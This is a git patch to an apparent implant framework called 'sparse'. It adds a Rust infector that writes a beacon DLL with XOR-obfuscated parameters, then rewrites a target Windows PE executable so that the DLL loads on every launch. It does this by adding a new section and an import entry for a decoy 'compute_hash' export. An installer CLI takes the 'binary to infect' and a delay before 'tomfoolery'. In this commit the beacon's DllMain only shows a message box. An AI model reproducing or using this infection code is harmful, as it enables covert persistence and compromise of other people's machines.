From 8d47ac128da286a6fe54240bdab29ca48655d855 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sat, 8 Feb 2025 20:51:03 -0500 Subject: [PATCH] feat: got PE injection working --- Cargo.lock | 145 ++++++++- flake.nix | 2 +- packages.nix | 2 +- sparse-unix-installer/src/main.rs | 2 - sparse-windows-beacon/Cargo.toml | 2 + sparse-windows-beacon/src/lib.rs | 32 ++ sparse-windows-beacon/src/main.rs | 1 - sparse-windows-infector/Cargo.toml | 2 + sparse-windows-infector/src/lib.rs | 409 +++++++++++++++++++++++- sparse-windows-infector/src/pe_types.rs | 123 +++++++ sparse-windows-installer/Cargo.toml | 5 + sparse-windows-installer/src/main.rs | 77 ++++- 12 files changed, 784 insertions(+), 18 deletions(-) create mode 100644 sparse-windows-beacon/src/lib.rs delete mode 100644 sparse-windows-beacon/src/main.rs create mode 100644 sparse-windows-infector/src/pe_types.rs diff --git a/Cargo.lock b/Cargo.lock index cb7e189..18983f1 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1467,7 +1467,7 @@ dependencies = [ "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows-core", + "windows-core 0.52.0", ] [[package]] @@ -3277,14 +3277,28 @@ dependencies = [ [[package]] name = "sparse-windows-beacon" version = "2.0.0" +dependencies = [ + "windows", +] [[package]] name = "sparse-windows-infector" version = "2.0.0" +dependencies = [ + "errno", + "sparse-actions", +] [[package]] name = "sparse-windows-installer" version = "2.0.0" +dependencies = [ + "hex", + "rand 0.9.0", + "sparse-actions", + "sparse-windows-infector", + "structopt", +] [[package]] name = "spin" @@ -4403,6 +4417,16 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f919aee0a93304be7f62e8e5027811bbba96bcb1de84d6618be56e43f8a32a1" +dependencies = [ + "windows-core 0.59.0", + "windows-targets 0.53.0", +] + [[package]] name = "windows-core" version = "0.52.0" @@ -4412,6 +4436,59 @@ dependencies = [ "windows-targets 0.52.6", ] +[[package]] +name = "windows-core" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "810ce18ed2112484b0d4e15d022e5f598113e220c53e373fb31e67e21670c1ce" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets 0.53.0", +] + +[[package]] +name = "windows-implement" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83577b051e2f49a058c308f17f273b570a6a758386fc291b5f6a934dd84e48c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.96", +] + +[[package]] +name = "windows-interface" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb26fd936d991781ea39e87c3a27285081e3c0da5ca0fcbc02d368cc6f52ff01" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.96", +] + +[[package]] +name = "windows-result" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d08106ce80268c4067c0571ca55a9b4e9516518eaa1a1fe9b37ca403ae1d1a34" +dependencies = [ + "windows-targets 0.53.0", +] + +[[package]] +name = "windows-strings" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b888f919960b42ea4e11c2f408fadb55f78a9f236d5eef084103c8ce52893491" +dependencies = [ + "windows-targets 0.53.0", +] + [[package]] name = "windows-sys" version = "0.48.0" @@ -4463,13 +4540,29 @@ dependencies = [ "windows_aarch64_gnullvm 0.52.6", "windows_aarch64_msvc 0.52.6", "windows_i686_gnu 0.52.6", - "windows_i686_gnullvm", + "windows_i686_gnullvm 0.52.6", "windows_i686_msvc 0.52.6", "windows_x86_64_gnu 0.52.6", "windows_x86_64_gnullvm 0.52.6", "windows_x86_64_msvc 0.52.6", ] +[[package]] +name = "windows-targets" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e4c7e8ceaaf9cb7d7507c974735728ab453b67ef8f18febdd7c11fe59dca8b" +dependencies = [ + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" @@ -4482,6 +4575,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + [[package]] name = "windows_aarch64_msvc" version = "0.48.5" @@ -4494,6 +4593,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + [[package]] name = "windows_i686_gnu" version = "0.48.5" @@ -4506,12 +4611,24 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + [[package]] name = "windows_i686_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + [[package]] name = "windows_i686_msvc" version = "0.48.5" @@ -4524,6 +4641,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + [[package]] name = "windows_x86_64_gnu" version = "0.48.5" @@ -4536,6 +4659,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" @@ -4548,6 +4677,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + [[package]] name = "windows_x86_64_msvc" version = "0.48.5" @@ -4560,6 +4695,12 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + [[package]] name = "winnow" version = "0.6.26" diff --git a/flake.nix b/flake.nix index 7d30130..f54dc96 100644 --- a/flake.nix +++ b/flake.nix @@ -151,7 +151,7 @@ mkdir -p target/x86_64-{unknown-{linux-musl,freebsd},pc-windows-gnu}/debug touch target/x86_64-unknown-{linux-musl,freebsd}/debug/sparse-unix-{beacon,installer} - touch target/x86_64-pc-windows-gnu/debug/sparse-windows-{beacon.dll,installer.exe} + touch target/x86_64-pc-windows-gnu/debug/sparse{-windows-installer.exe,_windows_beacon.dll} ''; in { packages = outputs.packages; diff --git a/packages.nix b/packages.nix index b6c6642..19c5116 100644 --- a/packages.nix +++ b/packages.nix @@ -271,7 +271,7 @@ let CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; SPARSE_BEACON_WINDOWS = - "${sparse-beacon-windows}/bin/sparse-windows-beacon.exe"; + "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll"; }); sparse-server = craneLib.mkCargoDerivation (commonArgs // { diff --git a/sparse-unix-installer/src/main.rs b/sparse-unix-installer/src/main.rs index 19c9adc..541885e 100644 --- a/sparse-unix-installer/src/main.rs +++ b/sparse-unix-installer/src/main.rs @@ -78,8 +78,6 @@ fn main() -> Result<(), Error> { parameters.delay_seconds_min = opts.delay_seconds_minimum; parameters.delay_seconds_max = opts.delay_seconds_minimum; - std::fs::write("./debug.params-pre", ¶meters_buffer)?; - infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?; Ok(()) diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index fac5b5d..19c805e 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -3,6 +3,8 @@ name = "sparse-windows-beacon" edition = "2024" version.workspace = true +[lib] crate-type = ["cdylib"] [dependencies] +windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs new file mode 100644 index 0000000..3251c06 --- /dev/null +++ b/sparse-windows-beacon/src/lib.rs @@ -0,0 +1,32 @@ +#[unsafe(no_mangle)] +pub extern "C" fn compute_hash() {} + +use windows::{ + core::*, + Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*}, +}; + +#[unsafe(no_mangle)] +pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { + if dw_reason == DLL_PROCESS_ATTACH { + std::thread::spawn(|| unsafe { + MessageBoxW(None, w!("Hi"), w!("There"), MB_OK); + }); + } + 1 +} + +#[unsafe(no_mangle)] +pub extern "C" fn md4sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn md5sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn sha256sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn sha384sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn sha512sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn sha1sum() {} +#[unsafe(no_mangle)] +pub extern "C" fn sha2sum() {} diff --git a/sparse-windows-beacon/src/main.rs b/sparse-windows-beacon/src/main.rs deleted file mode 100644 index f328e4d..0000000 --- a/sparse-windows-beacon/src/main.rs +++ /dev/null @@ -1 +0,0 @@ -fn main() {} diff --git a/sparse-windows-infector/Cargo.toml b/sparse-windows-infector/Cargo.toml index e0f21c1..376b32f 100644 --- a/sparse-windows-infector/Cargo.toml +++ b/sparse-windows-infector/Cargo.toml @@ -4,3 +4,5 @@ edition = "2024" version.workspace = true [dependencies] +errno = "0.3.10" +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs index b93cf3f..0b44c2e 100644 --- a/sparse-windows-infector/src/lib.rs +++ b/sparse-windows-infector/src/lib.rs @@ -1,14 +1,405 @@ -pub fn add(left: u64, right: u64) -> u64 { - left + right +use std::{ + io::{prelude::*, Error, SeekFrom}, + path::Path, + slice, +}; + +use sparse_actions::payload_types::{Parameters, XOR_KEY}; + +mod pe_types; +use pe_types::*; + +macro_rules! dbgX { + () => { + eprintln!("[{}:{}:{}]", file!(), line!(), column!()) + }; + ($val:expr $(,)?) => { + // Use of `match` here is intentional because it affects the lifetimes + // of temporaries - https://stackoverflow.com/a/48732525/1063961 + match $val { + tmp => { + eprintln!("[{}:{}:{}] {} = {:X?}", + file!(), line!(), column!(), stringify!($val), &tmp); + tmp + } + } + }; + ($($val:expr),+ $(,)?) => { + ($(dbgX!($val)),+,) + }; } -#[cfg(test)] -mod tests { - use super::*; +#[cfg(not(debug_assertions))] +pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY")); +#[cfg(debug_assertions)] +pub const SPARSE_LIBRARY: &'static [u8] = + include_bytes!("../../target/x86_64-pc-windows-gnu/debug/sparse_windows_beacon.dll"); - #[test] - fn it_works() { - let result = add(2, 2); - assert_eq!(result, 4); +pub fn infect_pe_binary( + binary_path: BP, + target_library_path: LP, + mut sparse_parameters: Vec, +) -> Result<(), Error> +where + BP: AsRef, + LP: AsRef, +{ + let mut sparse_library = SPARSE_LIBRARY.to_vec(); + + for b in sparse_parameters.iter_mut() { + *b = *b ^ (XOR_KEY as u8); } + + for i in 0..(sparse_library.len() - sparse_parameters.len()) { + if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] { + sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters); + } + } + + std::fs::write(&target_library_path, sparse_library)?; + + let mut binary = std::fs::OpenOptions::new() + .read(true) + .write(true) + .truncate(false) + .open(&binary_path) + .expect("Could not open binary path for infecting"); + + let mut binary_data = Vec::new(); + binary.read_to_end(&mut binary_data)?; + + let header: &DOSHeader = unsafe { &*(binary_data.as_ptr() as *const _) }; + + let coff_header: &COFFHeader = unsafe { + &*(binary_data + .as_ptr() + .offset(header.coff_header_offset as isize) as *const _) + }; + + if coff_header.magic != *b"PE\x00\x00" { + eprintln!("Could not find or parse COFF header!"); + panic!(); + } + + let optional_header: &PEHeader = unsafe { + let offset = + header.coff_header_offset as isize + std::mem::size_of::() as isize; + &*(binary_data.as_ptr().offset(offset) as *const _) + }; + + if optional_header.magic != 0x020B { + eprintln!("Binary is not a 64 bit PE!"); + panic!(); + } + + let section_headers: &[SectionHeader] = unsafe { + let offset = header.coff_header_offset as isize + + (std::mem::size_of::() + std::mem::size_of::()) as isize; + + let ptr = binary_data.as_ptr().offset(offset) as *const _; + std::slice::from_raw_parts(ptr, coff_header.num_sections as usize) + }; + + let section_headers_copy = section_headers.to_vec(); + + let headers_end = header.coff_header_offset as usize + + std::mem::size_of::() + + std::mem::size_of::() + + (std::mem::size_of::() * coff_header.num_sections as usize); + + let mut headers_bytes = binary_data[..headers_end].to_vec(); + + let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) }; + + let coff_header: &mut COFFHeader = unsafe { + &mut *(headers_bytes + .as_mut_ptr() + .offset(header.coff_header_offset as isize) as *mut _) + }; + + let optional_header: &mut PEHeader = unsafe { + let offset = + header.coff_header_offset as isize + std::mem::size_of::() as isize; + &mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _) + }; + + let section_headers: &mut [SectionHeader] = unsafe { + let offset = header.coff_header_offset as isize + + (std::mem::size_of::() + std::mem::size_of::()) as isize; + + let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _; + std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize) + }; + + struct Section { + name: [u8; 8], + section_header_idx: usize, + data: Vec, + } + + let mut sections = section_headers.iter().collect::>(); + + sections.sort_by_key(|s| s.virtual_address); + + let mut sections = sections + .iter() + .enumerate() + .map(|(section_header_idx, sechdr)| Section { + name: sechdr.name.clone(), + section_header_idx, + data: binary_data[sechdr.raw_data_ptr as usize + ..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize] + .to_vec(), + }) + .collect::>(); + + // modify the PE + + let Some(import_table_section_idx) = section_headers.iter().position(|section| { + (section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size)) + .contains(&optional_header.import_table.virtual_address) + }) else { + eprintln!("Could not find section with import table"); + panic!(); + }; + + println!( + "Section with import table: {:?}", + std::str::from_utf8(§ion_headers[import_table_section_idx].name) + ); + + let start_index = optional_header.import_table.virtual_address + - section_headers[import_table_section_idx].virtual_address + + section_headers[import_table_section_idx].raw_data_ptr; + + let import_descriptors: *const ImportDescriptor = + unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ }; + + let mut import_descriptor_count = 0; + + println!( + "Counting import table descriptors from {:x}", + optional_header.import_table.virtual_address + ); + + while unsafe { + (*import_descriptors.offset(import_descriptor_count)).ilt_rva != 0 + || (*import_descriptors.offset(import_descriptor_count)).time_date_stamp != 0 + || (*import_descriptors.offset(import_descriptor_count)).forwarder_chain != 0 + || (*import_descriptors.offset(import_descriptor_count)).name != 0 + || (*import_descriptors.offset(import_descriptor_count)).first_thunk != 0 + } { + import_descriptor_count += 1; + } + + let Some(new_virtual_address) = section_headers_copy + .iter() + .map(|sh| sh.virtual_address + sh.virtual_size) + .max() + else { + eprintln!("Somehow, there were no section headers before now"); + panic!(); + }; + + let Some(first_section_loc) = section_headers_copy.iter().map(|sh| sh.raw_data_ptr).min() + else { + eprintln!("Somehow, there were no section headers before now"); + panic!(); + }; + + if (first_section_loc as usize) < headers_bytes.len() + std::mem::size_of::() { + eprintln!("There is not enough room to add a new section header!"); + panic!(); + } + + let new_virtual_address = new_virtual_address + optional_header.section_align; + let new_virtual_address = + new_virtual_address - (new_virtual_address % optional_header.section_align); + + let new_raw_address = (binary_data.len() as u32) + optional_header.file_align; + let new_raw_address = new_raw_address - (new_raw_address % optional_header.file_align); + + let new_section_size = ((import_descriptor_count as u32 + 2) * std::mem::size_of::() as u32) // space for new import table + + (2 * 2 * std::mem::size_of::() as u32) // space for new thunks to import compute_hash + + 256; // space for the name of the library + + let new_section_size_aligned = new_section_size + optional_header.file_align; + let new_section_size_aligned = + new_section_size_aligned - (new_section_size % optional_header.file_align); + + let mut new_section_buffer = vec![0; std::mem::size_of::()]; + let new_section: &mut SectionHeader = + unsafe { &mut *(new_section_buffer.as_mut_ptr() as *mut SectionHeader) }; + + new_section.name = *b".import\0"; + new_section.virtual_size = new_section_size; + new_section.virtual_address = new_virtual_address; + new_section.raw_data_size = new_section_size_aligned; + new_section.raw_data_ptr = new_raw_address; + new_section.relocations_ptr = 0x0; + new_section.line_numbers_ptr = 0x0; + new_section.num_relocations = 0x0; + new_section.num_line_nums = 0x0; + new_section.characteristics = 0xE0000060; + + coff_header.num_sections += 1; + optional_header.image_size += + optional_header.file_align * (new_section_size / optional_header.file_align); + + println!("Adding new section header!"); + + headers_bytes.extend(new_section_buffer); + + let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) }; + + let coff_header: &mut COFFHeader = unsafe { + &mut *(headers_bytes + .as_mut_ptr() + .offset(header.coff_header_offset as isize) as *mut _) + }; + + let optional_header: &mut PEHeader = unsafe { + let offset = + header.coff_header_offset as isize + std::mem::size_of::() as isize; + &mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _) + }; + + let section_headers: &mut [SectionHeader] = unsafe { + let offset = header.coff_header_offset as isize + + (std::mem::size_of::() + std::mem::size_of::()) as isize; + + let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _; + std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize) + }; + + let import_descriptors = + unsafe { std::slice::from_raw_parts(import_descriptors, import_descriptor_count as usize) } + .to_vec(); + + let mut import_section = Section { + name: *b".import\0", + section_header_idx: section_headers.len() - 1, + data: vec![], + }; + + import_section.data.extend( + unsafe { + std::slice::from_raw_parts( + import_descriptors.as_ptr() as *const u8, + std::mem::size_of::() * import_descriptors.len(), + ) + } + .to_vec(), + ); + + let new_import_directory_offset = import_section.data.len(); + import_section + .data + .extend(vec![0; 2 * std::mem::size_of::()]); + + let new_int_offset = import_section.data.len(); + import_section + .data + .extend(vec![0; 2 * std::mem::size_of::()]); + + let new_iat_offset = import_section.data.len(); + import_section + .data + .extend(vec![0; 2 * std::mem::size_of::()]); + + unsafe { + let iat = import_section + .data + .as_mut_ptr() + .offset(new_iat_offset as isize); + + *iat = 0x02; + *(iat.offset(7)) = 0x80; + }; + + let file_name = target_library_path + .as_ref() + .file_name() + .expect("library path must not be a root directory"); + + let lib_name_offset = import_section.data.len(); + import_section.data.extend(file_name.as_encoded_bytes()); + import_section.data.push(0x00); + + let lib_func_name_offset = import_section.data.len(); + import_section.data.push(0x02); + import_section.data.push(0x00); + import_section.data.extend(b"compute_hash"); + + import_section + .data + .extend(&vec![0u8; 256 - (file_name.len() + 15)]); + + import_section.data.extend(&vec![ + 0u8; + new_section_size_aligned as usize + - import_section.data.len() + ]); + + let new_import_directory_ptr = unsafe { + &mut *(import_section + .data + .as_mut_ptr() + .offset(new_import_directory_offset as isize) as *mut ImportDescriptor) + }; + + let import_section_header = §ion_headers[section_headers.len() - 1]; + + import_section.data[new_int_offset..new_int_offset + 8].copy_from_slice(&u64::to_le_bytes( + (import_section_header.virtual_address + lib_func_name_offset as u32) as u64, + )); + + new_import_directory_ptr.ilt_rva = + import_section_header.virtual_address + new_int_offset as u32; + new_import_directory_ptr.first_thunk = + import_section_header.virtual_address + new_iat_offset as u32; + new_import_directory_ptr.name = import_section_header.virtual_address + lib_name_offset as u32; + + optional_header.import_table.virtual_address = import_section_header.virtual_address; + + sections.push(import_section); + + // rebuild the PE + + let mut target = std::fs::OpenOptions::new() + .write(true) + .truncate(true) + .create(true) + .open("test/target.exe")?; + + target.write_all(&headers_bytes)?; + + let mut curr_ptr = headers_bytes.len(); + + for section in §ions { + let header = section_headers[section.section_header_idx]; + + println!("{:?}", std::str::from_utf8(&header.name)); + dbgX!(header.raw_data_ptr, curr_ptr); + let padding_needed = header.raw_data_ptr as usize - curr_ptr; + + target.write_all(&vec![0; padding_needed])?; + curr_ptr = header.raw_data_ptr as usize; + + target.write_all(§ion.data)?; + curr_ptr += section.data.len(); + } + + Ok(()) +} + +fn rva_to_offset(section_headers: &[SectionHeader], rva: u32) -> u32 { + section_headers + .iter() + .find_map(|sh| { + Some(rva - sh.virtual_address + sh.raw_data_ptr).filter(|_| { + (sh.virtual_address..(sh.virtual_address + sh.virtual_size)).contains(&rva) + }) + }) + .unwrap_or(rva) } diff --git a/sparse-windows-infector/src/pe_types.rs b/sparse-windows-infector/src/pe_types.rs new file mode 100644 index 0000000..3f24e43 --- /dev/null +++ b/sparse-windows-infector/src/pe_types.rs @@ -0,0 +1,123 @@ +#[repr(C)] +#[derive(Clone, Copy, Debug)] +pub struct DOSHeader { + pub header: [u8; 2], + pub e_cblp: u16, + pub e_cp: u16, + pub e_crlc: u16, + pub e_cparhdr: u16, + pub e_minalloc: u16, + pub e_maxalloc: u16, + pub e_ss: u16, + pub e_sp: u16, + pub e_csum: u16, + pub e_ip: u16, + pub e_cs: u16, + pub e_lfarlc: u16, + pub e_ovno: u16, + pub res: [u16; 4], + pub e_oemid: u16, + pub e_oeminfo: u16, + pub res2: [u16; 10], + pub coff_header_offset: u32, +} + +#[repr(C)] +#[derive(Clone, Copy, Debug)] +pub struct COFFHeader { + pub magic: [u8; 4], + pub machine_type: u16, + pub num_sections: u16, + pub timestamp: u32, + pub symbtable: u32, + pub num_symbols: u32, + pub size_of_optional_header: u16, + pub characteristics: u16, +} + +#[repr(C)] +#[derive(Clone, Copy, Debug)] +pub struct PEDataDirectoryEntry { + pub virtual_address: u32, + pub size: u32, +} + +#[repr(C)] +#[derive(Clone, Copy, Debug)] +pub struct PEHeader { + pub magic: u16, + pub maj_link_vers: u8, + pub min_link_vers: u8, + pub code_size: u32, + pub init_data_size: u32, + pub entry_point: u32, + pub base_of_code: u32, + pub image_base: u64, + pub section_align: u32, + pub file_align: u32, + pub maj_os_vers: u16, + pub min_os_vers: u16, + pub maj_img_vers: u16, + pub min_img_vers: u16, + pub maj_subsys_vers: u16, + pub min_subsys_vers: u16, + pub win32_vers: u32, + pub image_size: u32, + pub header_size: u32, + pub checksum: u32, + pub subsys: u16, + pub dllcharecteristics: u16, + pub stack_reserve_size: u64, + pub stack_commit_size: u64, + pub heap_reserve_size: u64, + pub heap_commit_size: u64, + pub loader_flags: u32, + pub rva_num: u32, + pub export_table: PEDataDirectoryEntry, + pub import_table: PEDataDirectoryEntry, + pub resource_table: PEDataDirectoryEntry, + pub exception_table: PEDataDirectoryEntry, + pub certificate_table: PEDataDirectoryEntry, + pub base_relro_table: PEDataDirectoryEntry, + pub debug_table: PEDataDirectoryEntry, + pub architecture_table: PEDataDirectoryEntry, + pub global_ptr_table: PEDataDirectoryEntry, + pub tls_table: PEDataDirectoryEntry, + pub config_table: PEDataDirectoryEntry, + pub bound_table: PEDataDirectoryEntry, + pub iat_table: PEDataDirectoryEntry, + pub delay_import_table: PEDataDirectoryEntry, + pub clr_table: PEDataDirectoryEntry, + pub reserved_table: PEDataDirectoryEntry, +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +pub struct SectionHeader { + pub name: [u8; 8], + pub virtual_size: u32, + pub virtual_address: u32, + pub raw_data_size: u32, + pub raw_data_ptr: u32, + pub relocations_ptr: u32, + pub line_numbers_ptr: u32, + pub num_relocations: u16, + pub num_line_nums: u16, + pub characteristics: u32, +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +pub struct ImportDescriptor { + pub ilt_rva: u32, + pub time_date_stamp: u32, + pub forwarder_chain: u32, + pub name: u32, + pub first_thunk: u32, +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +pub struct ImageThunkData { + pub ordinal: u64, +} diff --git a/sparse-windows-installer/Cargo.toml b/sparse-windows-installer/Cargo.toml index 469c6d4..4e41986 100644 --- a/sparse-windows-installer/Cargo.toml +++ b/sparse-windows-installer/Cargo.toml @@ -4,3 +4,8 @@ edition = "2024" version.workspace = true [dependencies] +hex = "0.4.3" +rand = "0.9.0" +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" } +structopt = "0.3.26" diff --git a/sparse-windows-installer/src/main.rs b/sparse-windows-installer/src/main.rs index 244f744..0d8585d 100644 --- a/sparse-windows-installer/src/main.rs +++ b/sparse-windows-installer/src/main.rs @@ -1,3 +1,76 @@ -fn main() { - println!("Hello"); +use std::{ + fs::OpenOptions, + io::{prelude::*, Error, SeekFrom}, + path::PathBuf, +}; + +use rand::{rngs::OsRng, TryRngCore}; +use structopt::StructOpt; + +use sparse_actions::payload_types::{Parameters, XOR_KEY}; +use sparse_windows_infector::infect_pe_binary; + +#[derive(StructOpt, Debug)] +#[structopt(name = "sparse-installer")] +struct Options { + /// Path to binary to infect + #[structopt(short, long)] + binary: PathBuf, + + /// Path for where to store the library that sparse uses; + /// must be somewhere in the library search path (e.g., /lib/x86_64-linux-gnu) + #[structopt(short, long)] + library_path: PathBuf, + + /// How long to randomly wait (minimum) after being loaded before causing tomfoolery + #[structopt(long, default_value = "0")] + delay_seconds_minimum: u8, + + /// How long to randomly wait (maximum) after being loaded before causing tomfoolery + #[structopt(long, default_value = "0")] + delay_seconds_maximum: u8, +} + +fn main() -> Result<(), Error> { + let opts = Options::from_args(); + + if opts.delay_seconds_minimum > opts.delay_seconds_maximum { + eprintln!("Delay seconds minimum should be larger than delay seconds maximum!"); + panic!(); + } + + let mut installer_file = OpenOptions::new() + .read(true) + .open(std::env::current_exe()?)?; + + let parameters_size = std::mem::size_of::() as i64; + + installer_file.seek(SeekFrom::End(-parameters_size))?; + + let mut parameters_buffer = Vec::with_capacity(parameters_size as usize); + installer_file.read_to_end(&mut parameters_buffer)?; + + for b in parameters_buffer.iter_mut() { + *b = *b ^ (XOR_KEY as u8); + } + + let parameters: &mut Parameters = + unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) }; + + let mut identifier = [0u8; 32]; + OsRng + .try_fill_bytes(&mut identifier) + .expect("Could not generate beacon identifier"); + + let hex_ident = hex::encode(&identifier); + parameters + .beacon_identifier + .copy_from_slice(&hex_ident.as_bytes()); + + parameters.delay_seconds_min = opts.delay_seconds_minimum; + parameters.delay_seconds_max = opts.delay_seconds_maximum; + + infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?; + + Ok(()) }